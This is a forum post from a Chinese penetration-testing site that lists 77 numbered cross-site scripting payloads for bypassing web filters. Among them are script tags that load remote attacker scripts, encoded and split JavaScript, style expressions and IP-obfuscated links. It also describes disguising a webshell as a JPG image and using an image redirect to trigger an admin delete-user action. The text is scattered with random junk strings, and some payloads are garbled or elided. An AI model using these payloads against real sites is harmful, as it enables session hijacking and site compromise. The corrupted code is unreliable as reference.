中国网络渗透测试联盟
标题:
xss详细利用大全1
[打印本页]
作者:
admin
时间:
2012-9-13 17:04
标题:
xss详细利用大全1
跨站图片shell
' ]# L. J& R- a: @4 L0 ]
XSS跨站代码 <script>alert("")</script>
" l" K8 x' V$ ^$ h1 B
4 C& i$ D5 b2 T1 y" H
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
Q( g# o( h9 Y
9 x& E0 N* ]. a# y
5 E- U/ x% c& B& ]
% @) i& ` ]& d1 J3 }& g; U$ }9 f
1)普通的XSS JavaScript注入
4 {( l) O9 J: E
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
* Q( P; H6 H) ?. S- h7 N( t
c2 e/ X- a* _7 }4 v
(2)IMG标签XSS使用JavaScript命令
6 [( I. [& R7 W. b) g1 S
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
4 V; h8 ^% |8 F# _: j! w5 e
8 I$ \! t" p r: J+ X0 t
(3)IMG标签无分号无引号
( w. ^3 P! a$ ] n$ R
<IMG SRC=javascript:alert(‘XSS’)>
+ c; o% m; f6 n8 V4 q6 l
* G" ~# a( ?4 o- C+ v
(4)IMG标签大小写不敏感
8 ?/ ?& j! Y' C1 v% ~8 _
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
5 i7 b% q; {% |/ P/ E. ~
4 ]4 j3 y4 [0 ^4 M" Q1 I6 {
(5)HTML编码(必须有分号)
7 s* _2 m+ w$ U4 }0 N" @
<IMG SRC=javascript:alert(“XSS”)>
3 t$ ?) y' |# a5 B' p" o z3 A# x
+ }( b% L- D2 h K
(6)修正缺陷IMG标签
4 m$ @" M G- Q9 z
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
% ~, y+ Q/ K4 q
/ p! \4 U5 F$ W0 ^2 A
(7)formCharCode标签(计算器)
: \9 G2 M" n J5 t' {
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
7 C+ P- Y X+ U* R1 z
( c. n* h2 ]/ f; h" {
(8)UTF-8的Unicode编码(计算器)
3 C) n! ~9 z3 k! G1 V8 H( a+ i1 C
<IMG SRC=jav..省略..S')>
: J/ p& x6 Q* j- ~
9 H* E& l9 _3 a" Y- O
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
% r3 Z+ X, N! z# z: J$ F9 S6 k
<IMG SRC=jav..省略..S')>
9 c" M( H _. |4 ]( r. C7 F0 y
# o' h, ~4 `$ B, i3 B
(10)十六进制编码也是没有分号(计算器)
# t) l; Z1 k X. M! E4 G! X
<IMG SRC=java..省略..XSS')>
2 b2 d2 B/ H" ?# v- H* r J
2 |6 |+ Q3 b" Y2 m ]
(11)嵌入式标签,将Javascript分开
3 U) B0 {( I7 s4 O [
<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 V& v7 l9 `4 p6 V3 L! E
3 K2 l8 D; [& H% q, i
(12)嵌入式编码标签,将Javascript分开
, D- n' x6 A2 k% U$ Q
<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 O% I/ i1 X" r7 |9 w+ I, o; k
, N7 _8 c1 [7 S! l7 _
(13)嵌入式换行符
+ m" Z9 E( `+ ], v
<IMG SRC=”jav ascript:alert(‘XSS’);”>
, P; O* G5 }# r5 l2 M, S
, D S: @9 b% q! F/ X
(14)嵌入式回车
) _. h1 m6 I% H$ b
<IMG SRC=”jav ascript:alert(‘XSS’);”>
# p- I* D& u/ a
k. _ ^& h" [# ~6 q2 H9 X2 I& T
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
: z+ p. G2 b* C2 u: k
<IMG SRC=”javascript:alert(‘XSS‘)”>
! x$ ~8 c1 R T( Q6 ?) G, p
! v% z1 P( q S ]) a5 q
(16)解决限制字符(要求同页面)
; F3 `( G1 l4 N
<script>z=’document.’</script>
" S/ ~0 {; \3 g! ~
<script>z=z+’write(“‘</script>
0 x) B# z- {8 I7 T8 K
<script>z=z+’<script’</script>
6 u% \# ]+ P1 x$ h
<script>z=z+’ src=ht’</script>
. x# Z+ S+ T f- R, ~
<script>z=z+’tp://ww’</script>
0 @% m$ Q. p5 l! g
<script>z=z+’w.shell’</script>
+ Y9 N D0 N6 o/ D/ y
<script>z=z+’.net/1.’</script>
! P3 @" B# q) N' Q1 Z1 f; [5 e
<script>z=z+’js></sc’</script>
5 Q, x0 y# i( O4 _. D% b- S" S: P
<script>z=z+’ript>”)’</script>
- e9 O& b2 {4 A( t
<script>eval_r(z)</script>
$ B: Z1 f9 e% r, z
; W8 {7 L& }+ N5 x9 L; Q
(17)空字符
6 }1 E. e B- [ J$ w( D+ e
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
/ D4 H) n6 z* V
0 W1 ?; B: t- Q7 L7 f
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# B7 e+ [, m4 e0 l' ^
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
# |4 C- T6 Y5 E
% I" |7 j4 f0 H( Z% U `
(19)Spaces和meta前的IMG标签
- D9 Y& F5 Y G: D$ \! f2 r( X
<IMG SRC=” javascript:alert(‘XSS’);”>
: g9 E! `5 R/ d1 b5 D e
+ `2 I5 w3 K5 [* R, q& k/ F
(20)Non-alpha-non-digit XSS
) {: S% G8 D, M4 m. [
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
" D: i9 j/ D: W. i
) K3 y' Q5 T. r6 n
(21)Non-alpha-non-digit XSS to 2
5 O" R4 k6 y* {- b
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
0 \5 h- J4 A% `2 U! m! I( f
( A. w. T; g& q# ~4 S
(22)Non-alpha-non-digit XSS to 3
9 _& h r# C2 G+ v/ R0 S5 p
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
7 N d* O$ z2 B
6 b1 z. |2 z0 T5 M* V' u8 o! K
(23)双开括号
3 C5 c9 `7 `$ g" b) Y
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
; {& k' x0 j3 a" @
9 ?: \0 {2 I$ Y# W! e0 W$ @; }
(24)无结束脚本标记(仅火狐等浏览器)
7 D! f" Z7 ]- }* b# T
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
2 E1 W/ K2 k& b) H' O1 E3 n! S: q
. K4 Z: R: Y0 ]
(25)无结束脚本标记2
5 J5 j: a6 H8 K; k7 v$ X
<SCRIPT SRC=//3w.org/XSS/xss.js>
; k3 v) ?3 A& a! y' P9 u' S( `
) G" P# f6 k) n
(26)半开的HTML/JavaScript XSS
1 L5 ]# t; N, @
<IMG SRC=”javascript:alert(‘XSS’)”
( o$ G7 e) \4 E2 j& x8 Q7 N0 }' v
5 z( l- n- C- P
(27)双开角括号
/ g9 I; ?& E; [( m
<iframe src=http://3w.org/XSS.html <
5 [6 `' W# x3 A/ Y
# T: d( S+ ]9 ~1 `0 |9 v- t
(28)无单引号 双引号 分号
4 A( t9 x, ]. i" V+ c. v6 D1 v3 d3 ^0 j
<SCRIPT>a=/XSS/
; z3 @/ u9 o& J& c2 c5 r8 F
alert(a.source)</SCRIPT>
- _2 t7 c" V& R. n. f$ E4 X) U2 a* w
2 P9 x$ o2 Y% m5 v
(29)换码过滤的JavaScript
. e1 R) E" W- g: k0 ? U% Z
\”;alert(‘XSS’);//
5 g, a: g7 v- g; i6 t0 \7 N2 R
* Z+ Q+ [3 L/ X& \
(30)结束Title标签
; ~4 X* s; a' p) T4 T
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
5 z% Z/ O1 e5 t0 N
) d: g; S, C$ O# y8 W! X8 z$ j) l
(31)Input Image
6 R- b/ B; y, n7 o
<INPUT SRC=”javascript:alert(‘XSS’);”>
$ v9 ]) X$ [6 U
2 B7 I: b9 _" M# U5 o
(32)BODY Image
& `" H/ D3 q& I9 z. q3 x
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
; U, `" d r% I0 u: @4 k4 C
" f% {* j/ h0 ?/ z b( z4 {0 l3 T
(33)BODY标签
8 e9 G6 a) k s6 Y ~
<BODY(‘XSS’)>
# ]5 }1 v! ]9 J& O
5 X6 q5 n( j0 I Y, k
(34)IMG Dynsrc
% M1 a& B4 Z0 F$ s: \
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
9 |5 k# E( ^9 d8 t$ f \8 l r
$ e/ J; m# ], ? c
(35)IMG Lowsrc
3 n5 {% D, S8 V) C9 b4 V2 D/ T
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
9 s$ J" S; D, t0 a; m
. b' }# H3 @7 Q* T9 ?
(36)BGSOUND
/ {* j2 D* E: X- H+ f
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
+ ^/ ?# ?2 C9 _% v
' s U/ k1 E0 q# o2 Y0 b
(37)STYLE sheet
o$ p! `$ K: {" u# O- i
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
; b! q7 z6 M9 F7 f" Q9 M
1 I2 |5 _6 o# m! E3 M
(38)远程样式表
# [2 R; y4 G. a0 J# I
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
% |7 }' ~: X. S, h* D
) H, u; q9 R; Y6 o. u. O5 d5 h
(39)List-style-image(列表式)
1 N2 w0 S" r2 E* p% t+ L
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( e5 Q! }3 f# ^. F$ \5 G' i! B
1 O! C" S# n. Q! n1 ]* a# }' `. J
(40)IMG VBscript
# J0 A* Z* g4 Y' G
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
6 a9 a7 e2 }. f" f
8 p% w" P/ K: _# L" @8 C! S1 T
(41)META链接url
- c Z8 `$ f) p$ {. d
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
$ _# v1 D% w- y' U( P
0 N8 M- h8 o' C. P) b% L, z
(42)Iframe
( q* I+ w. D+ d/ N1 H. y% Z& U/ T
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
$ ?& N X# F' ]# K- V$ ]
(43)Frame
7 L {( g! P6 R
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
! d' r* ]. U' `2 D! l
9 s E- A0 b) L: k1 n% `0 s% G0 y9 }/ ?
(44)Table
- p3 _ n1 H9 l% u: y$ K4 M
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
* I y7 ^ y. _& i( ]9 i# m% Q
d }4 c# V; ^" g2 v
(45)TD
8 g) N/ q* S1 z) Z3 V% O
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
/ W( e. i) L4 {& q4 m; l* ?
7 X: F R) ?+ `( w6 y% k2 [
(46)DIV background-image
1 s8 V3 N) f0 _, o4 E& K( F! A, a
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. W( W* A& p+ _9 G
) ^- Q1 q: E5 L$ o
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
9 I% c: X6 n% c: i3 x! Q) ]/ g
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
$ @* W% X1 `4 G! S& Y' ]/ F
, ]2 D3 r( a% u- n) F. s
(48)DIV expression
. ~1 _/ V5 e! F7 l2 [- A
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
$ z) d- a: }5 W! U, j/ K/ Z; e
% S1 K$ G: D; M% z( a& P7 ]
(49)STYLE属性分拆表达
( m8 E2 z8 e9 i' r
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
& ?" D7 f/ Y. B& T( H) V* ^* D
; a1 Q1 P- q. y/ X+ \- [# y
(50)匿名STYLE(组成:开角号和一个字母开头)
& D$ i5 _* _& X9 x, `
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
# T$ u6 _3 x" G4 x" _1 u0 ]7 w1 R: W3 h
1 R2 }; R. S# ]3 T+ W+ h4 d: x
(51)STYLE background-image
; g( n3 w( F7 X9 p5 W# K6 |
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
W0 H/ T( l2 r+ E
" N( o) g: F5 h2 v9 q6 w# r! l& Q$ G
(52)IMG STYLE方式
" ?( h$ a8 t$ ~# u2 D6 J$ A; c
exppression(alert(“XSS”))’>
/ `/ t, r3 B5 x, o' F: p9 e* ~! J% Z% |
/ g$ H$ `* K3 {1 F2 }0 Q- _+ b
(53)STYLE background
8 [( {- d; X) W* I6 T
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
@2 u7 U1 ^) p( z# A
1 J* c/ W, k0 z! @
(54)BASE
7 I9 w) K0 G( R W
<BASE HREF=”javascript:alert(‘XSS’);//”>
, ~% O/ Z: X' `# { t6 K' o' s
' [3 W2 P3 ?5 }. {2 O
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
) c W0 D5 |; n" \: i( d v7 S
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
. v& V, a! C# m% ~% F$ J, m; K8 o
0 s6 P6 y" J. W9 P9 y; q
(56)在flash中使用ActionScrpt可以混进你XSS的代码
( K, t, m2 w6 W0 P
a=”get”;
* Z* U) o6 W3 D7 g( s7 h6 _
b=”URL(\”";
D& e3 D4 W% N K1 J" c
c=”javascript:”;
: P# x. q" E0 k1 R: B# Q0 d, E5 z) z2 j
d=”alert(‘XSS’);\”)”;
. v; s4 ` N$ g, ^+ U$ [3 n
eval_r(a+b+c+d);
3 s5 K3 B4 a8 b1 X% t7 ~
P" n" q& A! g. m7 f* ~
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
& b! D& P, f% ` ^2 O$ _ Y2 ~# k
<HTML xmlns:xss>
/ r/ L' G* f; g6 o
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
4 i* L; a2 A: J' I; k) H
<xss:xss>XSS</xss:xss>
. W* U8 c: M) g
</HTML>
5 c1 N5 [; L! C$ r2 `+ Z& P- z
4 D/ x4 x3 ?9 _% w- `3 G" B. F) n
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
7 Z( T! Y( F, ^9 `1 i2 V+ \
<SCRIPT SRC=””></SCRIPT>
9 C* F) A8 H# F" s \
: Q) q! c9 e! s. h2 j7 z$ D
(59)IMG嵌入式命令,可执行任意命令
* R& V) D w; c* C
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
c5 ~& m/ e( W
# O" C6 R6 o8 j# ]3 F& Z2 C) K- r
(60)IMG嵌入式命令(a.jpg在同服务器)
6 b# `) I( a8 P- d+ A4 f, y
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
. h7 t' X5 Q6 r6 |8 s
9 W: `9 t: \' ?: H* J! ^+ P6 ~
(61)绕符号过滤
# n) i Y6 _$ w/ | T" n
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
! S1 k8 E, i9 A, p; f3 m; Y" |
( m8 K/ M1 x8 e( T& y5 O% c( H
(62)
; c8 \8 _- L8 z( G/ v; y
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
3 j% W( u: x& B( [
& v, z8 N A3 L0 U& a+ e4 r$ H& w
(63)
* L6 w6 s6 o' k* I
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
3 Q x+ o1 Z& k3 R7 ^
6 a5 W J, l6 ]
(64)
# H' [& e4 n0 t' T U1 Z, E% x
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
- z0 s6 \2 J7 o; P" v; `# k
. U! I5 I( M1 M, G5 B& v( D0 r, A
(65)
1 Y Y4 @1 |, g
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
- N3 i0 f7 j- k/ m
0 N" V+ y$ A9 v2 ^8 U( l$ A
(66)
0 Z7 L. l: ^' I# E' b0 S
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
6 g* b- y5 ]/ A$ m! f/ J4 d
' r$ O: f- g( J+ ~. G3 h0 k/ A
(67)
2 [4 M' B* i* C" g+ o( J' Q
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
& o7 z; v5 Q' o5 X
4 ~! F' M, G; X; z' k/ ]. X
(68)URL绕行
8 N: L) V: P/ s3 m+ e- v
<A HREF=”
http://127.0.0.1/
”>XSS</A>
* `( `; | }# G# A( L2 K7 o. D. V3 z
4 r# @$ c+ }, p9 O+ b/ s# ?
(69)URL编码
: k" }: d& b: A! H( X; _' N' e. g
<A HREF=”
http://3w.org
”>XSS</A>
3 V4 ^+ s% `$ G, X. U! `
, W2 L( v: q8 W( F, k+ A# M" K
(70)IP十进制
0 F. ]7 G3 n5 Z
<A HREF=”http://3232235521″>XSS</A>
0 F1 [' j6 C, l
* c, g5 P7 |% ]4 h& G$ _& c9 @8 M
(71)IP十六进制
% l9 J/ g; o' [! B
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
8 j6 D9 X9 @: O; J$ W
+ `8 f0 K$ }. I8 Z3 o) u* g
(72)IP八进制
+ E! K( b% n2 }" s
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
" w& o8 w+ i2 ]. A
9 ?9 V2 @( y# d, Q2 |1 N
(73)混合编码
: ^8 z, _& ~% j
<A HREF=”h
3 I& n3 S3 ^' Q$ [
tt p://6 6.000146.0×7.147/”">XSS</A>
4 I5 {. s; j- ^' D
. y: H0 W( }8 i H4 e2 A* P
(74)节省[http:]
: {( d+ r% a3 _5 x
<A HREF=”//www.google.com/”>XSS</A>
8 a/ H7 `8 m0 l! T' _( t ]7 I
! L% g5 s8 m3 H
(75)节省[www]
7 m3 [3 ^+ _% g9 B3 v
<A HREF=”
http://google.com/
”>XSS</A>
( [- p$ Y1 g: D! F4 d4 _
, c" g% ` ~4 v5 T7 l/ A5 [: P! {
(76)绝对点绝对DNS
$ p8 m+ b7 Q5 E
<A HREF=”
http://www.google.com./
”>XSS</A>
# K' M( X* y+ i2 [% V
4 q4 K5 _9 ]1 N
(77)javascript链接
4 ]) }$ g. d3 A5 e3 S; u6 k* z
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
- K" E2 m/ ~+ o7 X3 d: Q. [+ o
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2